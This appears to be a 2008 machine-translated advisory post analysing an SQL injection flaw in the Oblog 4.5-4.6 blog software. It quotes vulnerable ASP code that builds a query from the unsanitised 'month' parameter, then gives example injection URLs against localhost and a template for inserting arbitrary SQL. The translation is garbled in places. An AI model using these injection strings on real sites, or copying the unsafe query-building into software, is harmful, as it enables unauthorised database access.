Add date: 08/08/2008   Publishing date: 08/08/2008   Hits: 9

---

Date:2008-5-15 Author:Yamato[BCT] Version:Oblog 4.5-4.6 sql code analysis: Document In/Class_UserCommand.asp: strMonth=Request (“month”) // 63rd line of strDay=Request (“day”) ...... Case “month” // 84th line of Dim LastDay G_P_FileName = G_P_FileName & “month&month=” & strMonth strDay=Left(strMonth,4) &” - “& Right(strMonth,2) &” - 01 " mYear=Left(strMonth,4) mMonth=Right(strMonth,2) If InStr (“01,03,05,07,08,10,12”, mMonth) > 0 Then LastDay = “31” ...... Else // 109th line of SqlPart =” And Addtime >='"&strMonth& " 01 ' AND Addtime < '“&strMonth&LastDay&” '” structure appropriate variable strMonth carries on the injection test method: http://localhost/oblog/cmd.asp?do= month&month=2008' and user>0--01 strDay variables obtain the date data from month, and judges strDay whether is the date data. Therefore the structure injection sentence is: http://localhost/oblog/cmd.asp?do= month&month=2008'(own sql sentence)--01 carry out the sql sentence to use rst. Open strSql, Conn,1,1 cannot revise the record compendium.

Prev:To Extmail security crack's analysis

Next:Mozilla the mail client side MIME exterior main body piles the overflow crack

Comment:

---

Category: Home > crack analyzes